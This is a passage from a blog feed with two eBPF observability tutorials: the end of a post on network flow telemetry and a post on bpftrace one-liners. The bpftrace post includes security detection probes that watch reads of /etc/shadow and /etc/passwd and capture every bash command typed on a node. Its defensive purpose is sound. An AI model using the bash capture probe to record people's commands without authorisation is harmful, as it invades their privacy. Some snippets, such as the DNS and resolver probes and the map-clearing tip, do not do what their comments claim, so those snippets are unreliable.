# lxcf7b2(31) clsact/egress  prog_id 64
</code></pre>
<pre><code class="" data-line=""># Inspect one of those programs to confirm it&#039;s reading flow metadata
bpftool prog show id 61

# Output:
# 61: sched_cls  name tail_handle_nat  tag 3a8e2f1b4c7d9e0a  gpl
#     loaded_at 2026-04-22T09:13:45+0530  uid 0
#     xlated 2144B  jited 1382B  memlock 4096B  map_ids 24,31,38
#     btf_id 142
</code></pre>
<p><code class="" data-line="">sched_cls</code> is the BPF program type for TC — confirming these are TC-attached flow programs. <code class="" data-line="">map_ids 24,31,38</code> — those are the maps this program reads from and writes to. You can dump any of them:</p>
<pre><code class="" data-line="">bpftool map dump id 24 | head -40

# Output (connection tracking entry):
# [{
#     &quot;key&quot;: {
#         &quot;saddr&quot;: &quot;10.244.1.5&quot;,        # ← source pod IP
#         &quot;daddr&quot;: &quot;172.16.4.23&quot;,        # ← destination IP
#         &quot;sport&quot;: 48291,                # ← source port
#         &quot;dport&quot;: 443,                  # ← destination port
#         &quot;nexthdr&quot;: 6,                  # ← protocol: TCP
#         &quot;flags&quot;: 3                     # ← CT_EGRESS | CT_ESTABLISHED
#     },
#     &quot;value&quot;: {
#         &quot;rx_packets&quot;: 14832,           # ← packets received
#         &quot;tx_packets&quot;: 14831,           # ← packets sent
#         &quot;rx_bytes&quot;: 3841024,           # ← bytes received
#         &quot;tx_bytes&quot;: 3756288,           # ← bytes sent
#         &quot;lifetime&quot;: 21600,             # ← seconds until entry expires
#         &quot;rx_closing&quot;: 0,
#         &quot;tx_closing&quot;: 0
#     }
# }]
</code></pre>
<p>That&#8217;s the ground truth. Not an APM span. Not a service mesh metric. The actual per-connection counters the kernel is maintaining for that 5-tuple.</p>
<hr />
<h2 id="writing-a-minimal-flow-observer-with-bpftrace">Writing a Minimal Flow Observer with bpftrace</h2>
<p>You don&#8217;t need Cilium or Hubble to get flow telemetry. bpftrace can produce it directly on any node with BTF:</p>
<pre><code class="" data-line=""># Persistent flow table: connections + packet counts for 2 minutes
bpftrace -e &#039;
kprobe:tcp_sendmsg {
    $sk = (struct sock *)arg0;
    $daddr = ntop(AF_INET, $sk-&gt;__sk_common.skc_daddr);
    $dport = $sk-&gt;__sk_common.skc_dport &gt;&gt; 8;
    @flows[comm, $daddr, $dport] = count();
}
interval:s:30 { print(@flows); clear(@flows); }
&#039; --timeout 120
</code></pre>
<p>Sample output (every 30 seconds):</p>
<pre><code class="" data-line="">@flows[curl, 93.184.216.34, 443]:         12    # curl → example.com:443
@flows[coredns, 10.96.0.10, 53]:          341   # CoreDNS upstream queries
@flows[payment-svc, 172.16.4.23, 443]:   1204   # payment service → gateway
@flows[nginx, 10.244.2.3, 8080]:          89    # nginx → upstream pod
</code></pre>
<p>For retransmit tracking specifically:</p>
<pre><code class="" data-line=""># Combined flow + retransmit watcher — runs until Ctrl-C
bpftrace -e &#039;
kprobe:tcp_retransmit_skb {
    $sk = (struct sock *)arg0;
    $daddr = ntop(AF_INET, $sk-&gt;__sk_common.skc_daddr);
    @retx[comm, $daddr] = count();
}
kprobe:tcp_sendmsg {
    $sk = (struct sock *)arg0;
    $daddr = ntop(AF_INET, $sk-&gt;__sk_common.skc_daddr);
    @sends[comm, $daddr] = count();
}
interval:s:10 {
    printf(&quot;=== Retransmit ratio (last 10s) ===\n&quot;);
    print(@retx);
    print(@sends);
    clear(@retx);
    clear(@sends);
}
&#039;
</code></pre>
<p>This gives you both the volume of sends and the retransmit count side by side — the ratio tells you whether retransmits are a rounding error (0.01%) or a signal (5%+).</p>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>Map size bounds matter.</strong> Connection tracking maps default to tens of thousands of entries. On nodes with high connection churn (serverless, short-lived batch jobs), maps can fill and start dropping new entries silently. Check <code class="" data-line="">bpftool map show id N</code> for <code class="" data-line="">max_entries</code> and monitor map utilization. Cilium exposes this as <code class="" data-line="">cilium_bpf_map_pressure</code> in Prometheus.</p>
<p><strong>Per-packet overhead on high-throughput interfaces.</strong> A TC program that fires on every packet on a 10Gbps interface processes millions of packets per second. Aggregating at the program level (count per 5-tuple rather than emit per packet) keeps overhead manageable — Cilium does this. A naive bpftrace one-liner that emits a perf event per packet will saturate the perf ring buffer under real load. Use <code class="" data-line="">ringbuf</code> write paths or aggregate before emitting.</p>
<p><strong>TC hook placement and direction confusion.</strong> Ingress TC on a pod&#8217;s veth (lxcXXXX) sees egress traffic from the pod&#8217;s perspective — because the host sees the packet arriving on the veth after the pod sent it. This reversal is consistent but confusing when you&#8217;re reading direction labels in flow records. EP08 covered this in detail for policy enforcement; the same asymmetry applies to flow data.</p>
<p><strong>Retransmit counters reset on connection close.</strong> If you&#8217;re tracking retransmit totals for a long-lived connection, the count is stored in the kernel&#8217;s socket state and is cleared when the socket closes. For persistent tracking across reconnects, aggregate at the flow level in userspace before the connection closes.</p>
<p><strong>Hubble flow visibility requires pod interfaces.</strong> Hubble only sees traffic that crosses a pod&#8217;s veth interface. Node-to-node traffic that doesn&#8217;t involve a pod (e.g., node SSH, kubelet-to-API-server on the node IP) is not captured by default. For host-level network observability, you need a TC program on the physical interface (<code class="" data-line="">eth0</code>, <code class="" data-line="">ens3</code>), not just on pod veth pairs.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>What you want to see</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>What TC programs are attached</td>
<td><code class="" data-line="">bpftool net list</code></td>
</tr>
<tr>
<td>Which maps a program uses</td>
<td><code class="" data-line="">bpftool prog show id N</code> (check <code class="" data-line="">map_ids</code>)</td>
</tr>
<tr>
<td>Connection tracking entries</td>
<td><code class="" data-line="">bpftool map dump id N</code></td>
</tr>
<tr>
<td>Retransmits per destination</td>
<td><code class="" data-line="">bpftrace -e &#039;kprobe:tcp_retransmit_skb { ... }&#039;</code></td>
</tr>
<tr>
<td>Flow counts per process</td>
<td><code class="" data-line="">bpftrace -e &#039;kprobe:tcp_sendmsg { @[comm, daddr] = count(); }&#039;</code></td>
</tr>
<tr>
<td>Hubble flow stream (Cilium)</td>
<td><code class="" data-line="">hubble observe --follow</code></td>
</tr>
<tr>
<td>Hubble flows for one pod</td>
<td><code class="" data-line="">hubble observe --pod mynamespace/mypod --follow</code></td>
</tr>
<tr>
<td>Verify map pressure</td>
<td><code class="" data-line="">bpftool map show id N</code> (check <code class="" data-line="">max_entries</code> vs entries)</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>Kernel function</th>
<th>What it marks</th>
</tr>
</thead>
<tbody>
<tr>
<td><code class="" data-line="">tcp_sendmsg</code></td>
<td>Data being sent on a TCP socket</td>
</tr>
<tr>
<td><code class="" data-line="">tcp_recvmsg</code></td>
<td>Data being received on a TCP socket</td>
</tr>
<tr>
<td><code class="" data-line="">tcp_retransmit_skb</code></td>
<td>A segment being retransmitted</td>
</tr>
<tr>
<td><code class="" data-line="">tcp_send_reset</code></td>
<td>RST being sent</td>
</tr>
<tr>
<td><code class="" data-line="">tcp_fin</code></td>
<td>Connection teardown initiated</td>
</tr>
<tr>
<td><code class="" data-line="">tcp_connect</code></td>
<td>New outbound TCP connection attempt</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>Network flow observability with eBPF attaches TC programs that record every connection event continuously — not sampled, not throttled, not filtered by what the application reports</li>
<li>Retransmit telemetry from <code class="" data-line="">tcp_retransmit_skb</code> reveals congestion and endpoint failures that are structurally invisible to application-layer monitoring tools</li>
<li>Cilium Hubble, Pixie, and Retina are all eBPF flow exporters — they run TC programs, drain a ringbuf, enrich with Kubernetes metadata, and expose the result over an API</li>
<li>You can verify what any flow tool is actually collecting with <code class="" data-line="">bpftool net list</code>, <code class="" data-line="">bpftool prog show</code>, and <code class="" data-line="">bpftool map dump</code> — four commands, no documentation needed</li>
<li>Map sizing and per-packet overhead are the two production concerns; aggregate at the kernel level, bound your maps, and monitor map pressure</li>
<li>The kernel&#8217;s connection tracking map is the ground truth. APM dashboards, service mesh metrics, and load balancer health checks are all interpretations of what that map contains</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>Flow observability tells you what connections exist. EP11 goes one level deeper: what names your pods are resolving those connections to. DNS is where a compromised workload first reveals itself — it queries a domain that has no business being queried from a production pod, and if you&#8217;re not watching the kernel-level DNS path, you won&#8217;t see it until after the damage.</p>
<p>DNS observability at the kernel level uses tracepoint hooks on the DNS syscall path — the same ground-truth approach as flow telemetry, but for name resolution: every query, every response, tied to the pod that made it, without deploying a sidecar.</p>
<p><em>Next: <a href="/ebpf-dns-observability-kubernetes/">DNS observability at the kernel level — what your pods are actually resolving</a></em></p>
<p>Get EP11 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-network-flow-observability%2F&amp;linkname=Network%20Flow%20Observability%20%E2%80%94%20What%20Every%20Connection%20Reveals" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-network-flow-observability%2F&amp;linkname=Network%20Flow%20Observability%20%E2%80%94%20What%20Every%20Connection%20Reveals" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-network-flow-observability%2F&amp;linkname=Network%20Flow%20Observability%20%E2%80%94%20What%20Every%20Connection%20Reveals" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-network-flow-observability%2F&amp;linkname=Network%20Flow%20Observability%20%E2%80%94%20What%20Every%20Connection%20Reveals" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-network-flow-observability%2F&amp;linkname=Network%20Flow%20Observability%20%E2%80%94%20What%20Every%20Connection%20Reveals" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-network-flow-observability%2F&amp;linkname=Network%20Flow%20Observability%20%E2%80%94%20What%20Every%20Connection%20Reveals" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-network-flow-observability%2F&amp;linkname=Network%20Flow%20Observability%20%E2%80%94%20What%20Every%20Connection%20Reveals" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Febpf-network-flow-observability%2F&#038;title=Network%20Flow%20Observability%20%E2%80%94%20What%20Every%20Connection%20Reveals" data-a2a-url="https://linuxcent.com/ebpf-network-flow-observability/" data-a2a-title="Network Flow Observability — What Every Connection Reveals"></a></p><p>The post <a href="https://linuxcent.com/ebpf-network-flow-observability/">Network Flow Observability — What Every Connection Reveals</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/ebpf-network-flow-observability/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1838</post-id>	</item>
		<item>
		<title>bpftrace — Kernel Answers in One Line</title>
		<link>https://linuxcent.com/bpftrace-kernel-observability/</link>
					<comments>https://linuxcent.com/bpftrace-kernel-observability/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Sun, 10 May 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[eBPF]]></category>
		<category><![CDATA[bpftrace]]></category>
		<category><![CDATA[Kubernetes]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Observability]]></category>
		<category><![CDATA[Performance]]></category>
		<category><![CDATA[SRE]]></category>
		<category><![CDATA[Tracing]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1839</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 8</span> <span class="rt-label rt-postfix">minutes</span></span>bpftrace gives you kernel observability in a one-liner — trace syscalls, connections, and process spawns on any node with no app changes or restarts.</p>
<p>The post <a href="https://linuxcent.com/bpftrace-kernel-observability/">bpftrace — Kernel Answers in One Line</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 8</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><em>eBPF: From Kernel to Cloud, Episode 9</em><br />
<em><a href="https://linuxcent.com/what-is-ebpf-linux-kubernetes/">What Is eBPF?</a> · <a href="https://linuxcent.com/bpf-verifier-kubernetes-safety/">The BPF Verifier</a> · <a href="https://linuxcent.com/ebpf-vs-kernel-modules-kubernetes/">eBPF vs Kernel Modules</a> · <a href="https://linuxcent.com/ebpf-program-types-kubernetes/">eBPF Program Types</a> · <a href="https://linuxcent.com/ebpf-maps-explained/">eBPF Maps</a> · <a href="https://linuxcent.com/ebpf-co-re-libbpf-portable-programs/">CO-RE and libbpf</a> · <a href="https://linuxcent.com/ebpf-xdp-kubernetes-networking/">XDP</a> · <a href="https://linuxcent.com/tc-ebpf-kubernetes-network-policy/">TC eBPF</a> · </em><em>bpftrace</em>**</p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>bpftrace is an eBPF compiler, not a monitoring agent — every one-liner compiles, loads, runs, and cleans up a complete kernel program<br />
<em>(think of it like <code class="" data-line="">kubectl exec</code> — but for asking the kernel a direct question, with no agent, no sidecar, no prior setup)</em></li>
<li>kretprobe and tracepoint cover most production debugging needs; use tracepoints for stability across kernel versions</li>
<li>The security use cases are unique: kernel-level observation that an attacker inside a container cannot suppress</li>
<li>Every connection, every file open, every process spawn — observable in real time with a single command, no prior instrumentation</li>
<li>Production caution: high-frequency probes on hot paths add overhead; filter by pid/comm, use <code class="" data-line="">--timeout</code>, watch <code class="" data-line="">%si</code></li>
<li>Container PIDs are host-namespace PIDs in bpftrace — use <code class="" data-line="">curtask-&gt;real_parent-&gt;tgid</code> to correlate to container activity</li>
</ul>
<hr />
<p>bpftrace turns any kernel question into a one-liner — compiling, loading, and attaching a complete eBPF program in seconds, with no agents, no restarts, and no prior instrumentation on the node. When something is wrong on a node right now and you don&#8217;t know where to look, it&#8217;s how you ask the kernel a direct question. That&#8217;s what EP09 is about.</p>
<h2 id="quick-check-is-bpftrace-available-on-your-node">Quick Check: Is bpftrace Available on Your Node?</h2>
<p>Before the one-liner toolkit — verify bpftrace is installed and working on a cluster node:</p>
<pre><code class="" data-line=""># SSH into a worker node, then:
bpftrace --version
# bpftrace v0.19.0   ← any version ≥ 0.16 supports the patterns in this episode

# Verify BTF is available (required for struct access one-liners)
ls /sys/kernel/btf/vmlinux &amp;&amp; echo &quot;BTF available&quot;

# The simplest possible one-liner — count syscalls for 5 seconds
bpftrace -e &#039;tracepoint:raw_syscalls:sys_enter { @[comm] = count(); }&#039; --timeout 5
</code></pre>
<p>Expected output (abridged):</p>
<pre><code class="" data-line="">Attaching 1 probe...

@[containerd]: 312
@[kubelet]:    841
@[node_exporter]: 203
@[sshd]:       47
</code></pre>
<p>Each line is a process name and how many syscalls it made in 5 seconds. If this runs and produces output, everything in this episode will work on your node.</p>
<blockquote>
<p><strong>Not on a self-managed node?</strong> EKS managed nodes and GKE nodes don&#8217;t have bpftrace pre-installed, but you can run it from a privileged debug pod: <code class="" data-line="">kubectl debug node/&lt;node-name&gt; -it --image=quay.io/iovisor/bpftrace</code>. The tool runs on the host kernel — you get full kernel visibility even from a pod.</p>
</blockquote>
<hr />
<p>A node in production started showing elevated TCP latency — p99 at 180ms, where p99 was normally under 10ms. The application logs were clean. The APM dashboard showed nothing unusual at the service level. CPU, memory, disk: all normal. The load balancer health checks were passing.</p>
<p>I had 12 minutes before the on-call escalation would have gone to the application team and started a war room.</p>
<p>I ran one command:</p>
<pre><code class="" data-line="">bpftrace -e &#039;kretprobe:tcp_recvmsg { @bytes[comm] = hist(retval); }&#039; --timeout 10
</code></pre>
<p>Ten seconds of sampling. The histogram output showed a single process — <code class="" data-line="">backup-agent</code> — receiving 4MB chunks at irregular intervals. Not the application. Not the service mesh. A backup agent that runs at the infrastructure layer, saturating the receive path with large reads during its scheduled window.</p>
<p>Found in 9 seconds. War room averted.</p>
<p>What made that possible is something most engineers don&#8217;t know about bpftrace: that one-liner is not a monitoring query. It&#8217;s a complete eBPF program — compiled, loaded into the kernel, attached to the <code class="" data-line="">tcp_recvmsg</code> kernel return probe, run, and cleaned up — all in ten seconds. bpftrace is a compiler that happens to have a very convenient command-line interface.</p>
<hr />
<h2 id="what-bpftrace-actually-is">What bpftrace Actually Is</h2>
<p>bpftrace is not a monitoring tool. It&#8217;s an eBPF compiler with a high-level scripting language designed for one-shot investigation.</p>
<p>When you run <code class="" data-line="">bpftrace -e &#039;kretprobe:tcp_recvmsg { ... }&#039;</code>, this is what happens:</p>
<pre><code class="" data-line="">Your one-liner
      ↓
bpftrace&#039;s built-in LLVM/Clang frontend
      ↓
eBPF bytecode (.bpf.o in memory)
      ↓
Kernel verifier validates the program
      ↓
JIT compiler compiles to native machine code
      ↓
Program attaches to tcp_recvmsg kretprobe
      ↓
Runs until Ctrl-C or --timeout
      ↓
Output printed, maps freed, program detached
</code></pre>
<p>The kernel doesn&#8217;t know bpftrace wrote the program. It&#8217;s the same path as Falco, Cilium, Tetragon — kernel program loaded via the BPF syscall, verified, JIT-compiled, attached to a probe. bpftrace just wraps that entire process in a scripting language that takes 30 seconds to write instead of an afternoon.</p>
<p>This is why bpftrace can answer questions that no other tool can: it compiles to a kernel-level observer that fires on any event in the kernel, on any process, on any container — without any prior instrumentation.</p>
<hr />
<h2 id="the-four-probe-types-youll-use-most">The Four Probe Types You&#8217;ll Use Most</h2>
<p>bpftrace supports 20+ probe types. These four cover 90% of production debugging:</p>
<h3 id="kprobe-kretprobe-kernel-functions">kprobe / kretprobe — Kernel Functions</h3>
<p>Attaches to the entry (<code class="" data-line="">kprobe</code>) or return (<code class="" data-line="">kretprobe</code>) of any kernel function. The most powerful probes for understanding what the kernel is actually doing.</p>
<pre><code class="" data-line=""># Fire on every call to tcp_connect — who&#039;s making new TCP connections?
bpftrace -e &#039;kprobe:tcp_connect { printf(&quot;%s PID %d connecting\n&quot;, comm, pid); }&#039;

# On return from tcp_recvmsg — how large are the reads per process?
bpftrace -e &#039;kretprobe:tcp_recvmsg { @[comm] = hist(retval); }&#039;

# Count calls to vfs_write per process (file write activity)
bpftrace -e &#039;kprobe:vfs_write { @[comm] = count(); }&#039;
</code></pre>
<p>Limitation: kernel functions are internal and can change between kernel versions. Use tracepoints (below) for stability when you can.</p>
<blockquote>
<p><strong>kprobe instability:</strong> A function targeted by a kprobe can be <em>inlined</em> by the kernel compiler — the compiler embeds the function&#8217;s code at its call sites with no separate entry point. When that happens, the kprobe silently fires on nothing. Verify before relying on one: <code class="" data-line="">bpftrace -l &#039;kprobe:function_name&#039;</code> — empty response means it was inlined. Use a tracepoint equivalent instead.</p>
</blockquote>
<h3 id="tracepoint-stable-kernel-trace-points">tracepoint — Stable Kernel Trace Points</h3>
<p>Tracepoints are stable, versioned hooks explicitly placed in the kernel source. Unlike kprobes, they are part of the kernel&#8217;s public interface and guaranteed not to disappear between versions. Use these for anything you need to work reliably across a fleet with mixed kernel versions.</p>
<pre><code class="" data-line=""># Every file open — process name + filename
bpftrace -e &#039;tracepoint:syscalls:sys_enter_openat {
    printf(&quot;%s %s\n&quot;, comm, str(args-&gt;filename));
}&#039;

# Every outbound connect — process, destination IP and port
bpftrace -e &#039;tracepoint:syscalls:sys_enter_connect {
    printf(&quot;%-16s %-6d\n&quot;, comm, pid);
}&#039;

# List all available tracepoints (hundreds)
bpftrace -l &#039;tracepoint:syscalls:*&#039; | head -30
</code></pre>
<h3 id="uprobe-userspace-function-probes">uprobe — Userspace Function Probes</h3>
<p>Attaches to a specific function in a userspace binary or library. Useful for observing application behaviour without recompiling.</p>
<pre><code class="" data-line=""># What bash commands are being typed on this node?
bpftrace -e &#039;uprobe:/bin/bash:readline { printf(&quot;%s\n&quot;, str(arg0)); }&#039;

# Python function calls
bpftrace -e &#039;uprobe:/usr/bin/python3:PyObject_Call { printf(&quot;Python call: pid %d\n&quot;, pid); }&#039;
</code></pre>
<p>From a security standpoint: this is how you observe what an attacker is typing in an interactive shell they&#8217;ve obtained on your node — in real time, from the kernel, without touching the terminal session.</p>
<h3 id="interval-periodic-sampling">interval — Periodic Sampling</h3>
<p>Runs a block of code on a fixed interval. Used for aggregation and periodic stats.</p>
<pre><code class="" data-line=""># Print the top file-opening processes every 5 seconds
bpftrace -e &#039;
kprobe:vfs_open { @[comm] = count(); }
interval:s:5  { print(@); clear(@); }
&#039;
</code></pre>
<hr />
<h2 id="the-one-liner-toolkit-runnable-right-now">The One-Liner Toolkit: Runnable Right Now</h2>
<p>These run on any Linux node with BTF (kernel 5.8+, Ubuntu 20.04+, most managed K8s nodes):</p>
<pre><code class="" data-line=""># What files is every process opening right now? (30-second view)
bpftrace -e &#039;tracepoint:syscalls:sys_enter_openat {
    printf(&quot;%-16s %s\n&quot;, comm, str(args-&gt;filename));
}&#039; --timeout 30

# Who is making DNS queries? (catches queries from any container, no sidecar needed)
bpftrace -e &#039;tracepoint:net:net_dev_xmit {
    if (args-&gt;skbaddr-&gt;protocol == 0x0800) printf(&quot;%s\n&quot;, comm);
}&#039;

# Latency histogram for all read() syscalls — find the slow process
bpftrace -e &#039;
tracepoint:syscalls:sys_enter_read { @start[tid] = nsecs; }
tracepoint:syscalls:sys_exit_read  {
    $latency = nsecs - @start[tid];
    @latency[comm] = hist($latency);
    delete(@start[tid]);
}&#039; --timeout 15

# Which process is using the most CPU right now? (99Hz sampling)
bpftrace -e &#039;profile:hz:99 { @[comm] = count(); }&#039; --timeout 10

# Real-time syscall frequency — find unusual process activity
bpftrace -e &#039;tracepoint:raw_syscalls:sys_enter { @[comm, args-&gt;id] = count(); }&#039; --timeout 10 \
  | sort -k3 -rn | head -20

# New TCP connections in the last 30 seconds — source and dest
bpftrace -e &#039;kprobe:tcp_connect {
    $sk = (struct sock *)arg0;
    printf(&quot;%-16s → %s:%d\n&quot;, comm,
           ntop(AF_INET, $sk-&gt;__sk_common.skc_daddr),
           $sk-&gt;__sk_common.skc_dport &gt;&gt; 8);
}&#039; --timeout 30

# What is a specific PID doing? (replace 12345)
bpftrace -e &#039;tracepoint:syscalls:sys_enter_openat /pid == 12345/ {
    printf(&quot;%s\n&quot;, str(args-&gt;filename));
}&#039;
</code></pre>
<p>Each of these compiles and loads in under 2 seconds. They leave no persistent state. When they exit, the kernel reverts to exactly the state it was in before.</p>
<hr />
<h2 id="the-security-use-cases">The Security Use Cases</h2>
<h3 id="watching-an-active-session">Watching an Active Session</h3>
<p>If you suspect a process is running commands you didn&#8217;t deploy:</p>
<pre><code class="" data-line=""># See every bash command on this node in real time
bpftrace -e &#039;uprobe:/bin/bash:readline { printf(&quot;%s %s\n&quot;, comm, str(arg0)); }&#039;

# Every process spawn — PID, parent, command
bpftrace -e &#039;tracepoint:syscalls:sys_enter_execve {
    printf(&quot;%-6d %-6d %s\n&quot;, pid, curtask-&gt;real_parent-&gt;tgid, str(args-&gt;filename));
}&#039;
</code></pre>
<p>This is the kernel-level version of watching <code class="" data-line="">/var/log/auth.log</code> — except it can&#8217;t be suppressed by an attacker who has root, because the probe runs in kernel space. An attacker who has compromised a container with root inside the container cannot prevent a bpftrace program on the host from observing their syscalls.</p>
<h3 id="detecting-unexpected-network-activity">Detecting Unexpected Network Activity</h3>
<pre><code class="" data-line=""># Any process making a connection to a non-standard port
bpftrace -e &#039;kprobe:tcp_connect {
    $sk = (struct sock *)arg0;
    $port = $sk-&gt;__sk_common.skc_dport &gt;&gt; 8;
    if ($port != 80 &amp;&amp; $port != 443 &amp;&amp; $port != 53) {
        printf(&quot;%-16s port %d\n&quot;, comm, $port);
    }
}&#039;

# DNS queries to non-standard resolvers (anything not on port 53)
bpftrace -e &#039;tracepoint:syscalls:sys_enter_sendto {
    if (args-&gt;addr-&gt;sa_family == 2) {
        printf(&quot;%-16s → %s\n&quot;, comm, str(args-&gt;addr));
    }
}&#039;
</code></pre>
<h3 id="watching-file-access-on-sensitive-paths">Watching File Access on Sensitive Paths</h3>
<pre><code class="" data-line=""># Any access to /etc/passwd, /etc/shadow, /root/
bpftrace -e &#039;tracepoint:syscalls:sys_enter_openat {
    if (str(args-&gt;filename) == &quot;/etc/passwd&quot; ||
        str(args-&gt;filename) == &quot;/etc/shadow&quot;) {
        printf(&quot;%-16s PID %-6d opened %s\n&quot;, comm, pid, str(args-&gt;filename));
    }
}&#039;
</code></pre>
<hr />
<h2 id="production-gotchas">Production Gotchas</h2>
<p><strong>CPU overhead:</strong> bpftrace probes fire synchronously in the traced context. High-frequency probes on hot kernel paths (<code class="" data-line="">vfs_read</code>, <code class="" data-line="">sys_enter_*</code> without filtering) can add 10–20% overhead. Always test with <code class="" data-line="">--timeout</code> and watch <code class="" data-line="">%si</code> before running on a production node.</p>
<p><strong>Maps grow unbounded by default:</strong> <code class="" data-line="">@[comm] = count()</code> will accumulate an entry per unique <code class="" data-line="">comm</code> value forever in the current session. Use <code class="" data-line="">clear(@)</code> in an interval block, or set a key limit: <code class="" data-line="">@[comm] = count(); if (@[comm] &gt; 100) { clear(@comm); }</code>.</p>
